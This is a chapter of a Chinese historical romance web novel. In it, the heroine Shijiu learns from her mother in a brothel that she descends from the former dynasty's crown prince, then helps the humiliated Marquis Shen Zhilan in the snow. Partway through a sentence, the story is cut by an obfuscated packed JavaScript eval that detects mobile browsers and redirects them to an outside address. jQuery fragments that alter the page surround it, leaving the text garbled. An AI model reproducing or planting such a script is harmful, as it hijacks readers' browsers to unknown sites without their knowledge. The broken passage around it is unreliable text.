4. 第四章

作品:《沧澜照雪

    此话一出,十九怔立当场。


    只见那道满身酒气的佝偻身影踉跄着没入深巷,好似孤舟入海,再难追觅,只余下满地白雪映月光,如铺开的素缟,将往事一点点埋葬。


    爹娘究竟有多少事情瞒着自己?


    她不是没怀疑过自己的身世,她爹是个烂赌鬼,输光了家中钱财,把她娘卖入青楼抵债,却能在京郊置下安身小院。待到她十岁时,被飞影卫选中离家后,家里那点薄产又瞬间被她爹挥霍光。


    她当上飞影卫后,曾暗中追查自己的身世,然而所有的线索皆如断线,杂乱无章,无迹可寻。她只得自嘲道,平民草芥的一生就是如此荒诞可笑。


    今日,终于能够窥见这秘密的冰山一角。


    原这二十年晨昏灯火,贫贱挣扎,苦求温饱,一切果真是一场精心织就,却漏洞百出的戏。


    十九依言踏入醉仙楼。


    正值华灯初上,笙歌鼎沸之际,娇哝软语溢出雕花大门,混着脂粉气的暖风拂面而来,楼中的男男女女皆如醉如痴。


    “这位公子,是第一次来我们醉仙楼吗?”老鸨并不认识飞影卫的银色面具,只当寻常客,扭着腰肢来揽客。浓香袭人,绡纱帕子几乎要甩到十九脸上。


    十九只觉得浑身不自在,微微蹙眉,侧身避过,还没思忖如何周旋,只听身后一阵喧哗,数名锦衣华服的公子大摇大摆走入。


    为首青年玉冠金簪,眉眼骄横,腰间金玉相击,珑璁作响,是兵部黄侍郎家的二公子。


    老鸨一见,两眼放光地迎上去:“黄公子,今日寻哪位姑娘作陪?玉竹姑娘可是念您念得紧呢。”


    “小爷做成了差事,今日银钱管够。”黄公子把腰间沉甸甸的钱袋掷给老鸨,眼尾斜挑,道,“去,把楼里十二名花都请来,少一人,拆你一块招牌。”


    老鸨面露难色,搓手赔笑:“这真是不巧,霜叶姑娘已经有客,烟霭姑娘身子不适,早早歇下了。”


    十九本欲转身上楼,却在听闻“烟霭”二字时僵住,驻足回头,几乎与身后搂着佳人的老爷撞个满怀。


    烟霭,是她娘的花名。


    “一百两。”黄公子冷笑一声,拍出一张银票,“把烟霭给我请来,小爷今日偏要听她的《破阵乐》。”


    《破阵乐》本是战场上的助阵曲,弹奏起来及其耗费心神,这摆明了是在故意为难。


    十九倚着楼梯扶手,居高临下地看向黄公子,道:“何必强人所难呢?”


    “哪来的野犬多管闲事?”黄公子扬眉冷笑。身侧长随倏然变色,凑耳低语:“公子慎言,那位好像是飞影卫。”


    “飞影卫?”黄公子讥笑两声,并未放在眼里,“不过天子脚下豢养的爪牙,一群抛肉骨时争食的畜生罢了,也配扰小爷的雅兴?”此话是大不敬。


    十九走下楼梯,站到黄公子身前。


    “瞧你这副穷酸样子,浑身上下,也就这把剑还看得过眼。”黄公子眯起眼睛上上下下打量,目光落在她腰间。


    话音未落,寒光乍破。


    十九腰间长剑出鞘,剑鸣清越如鹤唳霜天,下一秒,剑尖直指黄公子咽喉,划出一道细细的血痕。


    这是显而易见的威胁,若黄公子再无理取闹,口出狂言,就别怪她不留情面。


    十九盯着对方骤然惨白的脸,一字一句道:“看上我的剑了,那就拿命来换。”


    黄公子大惊失色,踉跄后退,撞倒一只青瓷花瓶。


    忽闻二楼传来一声清泠的“住手”,声音不高,却似珍珠落玉盘,压住满楼喧哗。


    东南角那扇常年虚掩的木门,“吱呀”一声打开。


    一位素衣女子抱琵琶缓步而下,云鬓半松,斜插着一支素雅的乌木簪,淡漠地扫过楼下剑拔弩张的场面,眼中只有司空见惯这一切的木然。


    十九收剑入鞘,抬首望去。满楼花灯迷乱了视线,恍惚间,似见少时小院槐荫下,娘亲搂着她轻哼:“月泠泠,风细细,此生原是萍絮命……”


    那调子缠绕着旧事,夜夜入梦,萦绕心间。


    烟霭唇角绽开一抹倦极的笑意,朝黄公子微微颔首,道:“黄公子既然要听《破阵曲》,那烟霭献丑了。”


    她垂眸敛袖,素手拂弦。


    起初只是零星几声,如夜雨叩窗,凄清中带着山雨欲来的压迫。渐而金戈乍起,弦颤欲断,勾勒出边塞万里烽火连天。弦愈急,声愈厉,仿佛要将这醉生梦死的温柔乡撕开,露出底下白骨嶙峋的世道来。


    满楼宾客皆倾耳听,如醉如痴。


    纵是方才嚣张跋扈的黄公子,亦怔立原地,收敛了气焰,坐在椅子上听曲。


    一曲终了,余韵中沉重的杀伐气久久不散。


    烟霭缓缓按弦止音,抬眼望向十九,眸中无悲无喜,只轻轻对她道:“多谢这位公子仗义执言,烟霭感激不尽,若公子不弃,还望上楼一叙。”


    十九随着娘亲的背影走入二楼小屋。


    娘亲放下琵琶,立在辉煌烛火与靡靡笙歌之间,十九看着娘亲鬓间白发,恍觉这十年风霜一层层蚀入骨血,是无法磨灭的。


    十九曾偷偷给过娘亲银子,想让娘亲攒起来为自己赎身。但下次来时,那些银钱全都为她爹还了赌债。


    她曾哀其不幸,怒其不争,却始终不肯信,娘亲甘愿陷在这胭脂堆里。


    “娘。”十九不禁问,“究竟何故,让你委屈自己,甘愿栖身烟花十载春秋?”她想要一个答案。


    烟霭抬手,想要去摘下十九脸上的银色面具,快要触及时堪堪停住,只虚虚描摹轮廓。


    “孩子,你身上流着的不是寻常血。”她轻声道,“你并非我亲生,而是前朝闵太子的血脉。”


    更鼓响。


    一声,一声,撞碎旧朝宫阙的残梦,化作眼前飞雪,簌簌扑上雕窗,漫天皆白。


    “那年,先渝帝派镇北王韩烈追杀闵太子,太子妃当时已有身孕,太子毅然赴死,将你托付与旧臣。你是前朝最后的火种,是无数亡魂托起的孤月。我们隐姓埋名,隐忍多年,皆因相信有一日会该换天地。”


    烟霭面色释然,道:“既然你爹让你来见我,那我的使命就结束了。孩子,去吧,去走你的路。”


    “向前看,别回头。”


    这是娘亲留给她最后的话。


    十九走出醉仙楼。


    原来她不是漂泊的萍,她是深埋的根,在不见光的土中,等一场惊雷。


    她在长街上踽踽独行,不知何去何从,本想回飞影卫的衙门歇息,却顺路经过了朱墙高耸的镇北王府。


    王府大门紧闭,府内却是灯火通明。


    沈止澜跪在雪地上,门房下人早就习以为常,并未通传,仿佛门外跪着的并非靖安侯,只是一尊迟早要被风雪吞没的石像。


    寒气砭人肌骨,若跪上一整夜


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193319|197088||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,这双腿怕是要废了。


    大门打开,世子韩昭明披着紫貂大氅迈出门槛。


    他抱袖倚柱,目光扫过阶下之人,毫不掩饰其中的厌憎,未发一言,抬手便是一掌朝沈止澜脸上掴去。


    沈止澜不躲不闪,只是闭上了眼。


    “明儿,住手。”一道女声伴着环佩叮当声传来。


    韩昭明闻声,动作一顿,拧眉回头,见到来人时戾气稍敛,轻轻唤了一声“母亲”。


    缓步走来的夫人步步生莲,身穿宝朱红锦袄,外罩银狐披风,云鬓金钗,一举一动尽显雍容。


    她是沈止澜名义上的嫡母,镇北王妃,亦是当今圣上的姑母,景曜大长公主沈瑛,贵不可言。


    王妃笑得温柔,行至儿子身侧。


    “在府内,你是世子,自可训诫。但此处是府外,众目睽睽,一巴掌下去,伤的是王府的体面。”语调柔如春水,话意却冷若寒冰,一开口便道明利害。


    韩昭明只得悻悻作罢,拂袖转身,大踏步回府。


    十九想起陛下令她照应沈止澜周全,正欲上前扶他起来,却见韩昭明去而复返。


    韩昭明立于高阶,俯视雪中之人,语带讥诮,道:“沈止澜,靖安侯,好大的圣眷,日后本世子见了你都要恭敬行礼,今日又何必在这里惺惺作态?”


    话毕,他身侧丫鬟上前,端着铜盆的手一倾,一盆混着冰碴的冷水兜头浇下。


    寒意刺骨。


    沈止澜浑身一震,墨发浸湿,凌乱地贴于颊侧,薄唇瞬间失去血色,一双眼眸笼了水汽,长睫垂落,迷蒙间看不清神色是否仍如往日淡漠。


    待韩昭明再次进门,十九才从阴影中闪身出来。


    她解下披风,无声覆于沈止澜肩头,见他微微战栗,想起他是有重伤在身,此刻是冷极,还是痛极?


    忽有风过,卷起阶前残雪,扑上沈止澜湿润的眉眼。


    十九心头微动,她曾见沈止澜于北疆风雪挥师千里,运筹帷幄。而今还朝,年少封侯,何等显赫,怎在这朱门之前,碾碎玉骨作尘泥,是这般任人揉捏凌辱的性子?


    十九心知,若她要走这条万劫不复的复国路,沈止澜一定会是路上最大的绊脚石。此刻,仍是生出一丝恻隐,仿佛看见高飞于天的鹤,自折羽翼坠入泥淖。


    “沈大人。”她声音很轻,俯下身为他系披风,“雪夜寒凉,你是不想要这双腿了吗?”


    十九见沈止澜仍跪着不动,她不由分说地握住他的胳膊,湿透的衣料,冷得透骨。她用了力,向上一提,像是要将他从泥泞中拉扯出来。


    沈止澜借着力道起身。


    目光交汇,又仓惶移开。重整情绪后,二人保持一个疏离的距离,无言地行过一段路,走到御赐的靖安侯府。


    御赐的府邸是前朝旧宅,空置数十载,廊柱间的朱漆早已斑驳,需经过工部修缮才好住人。但如今沈止澜无处可去,只得寻一间尚能栖身的屋子暂住。


    檐下冰凌砸下,让二人停住脚步,推开最近一扇门。


    室内尘灰簌簌,沈止澜挽袖清理案几,背影孤峭。十九静立片刻,不禁上前帮一把手,俯身擦拭灰尘。


    沈止澜忽然转头,四目再度相接,这次谁也未躲。


    他轻声开口:“这些时日,承蒙大人照顾,感激不尽,”话音稍顿,似是在斟酌措辞,随后道,


    “还不知大人名讳。”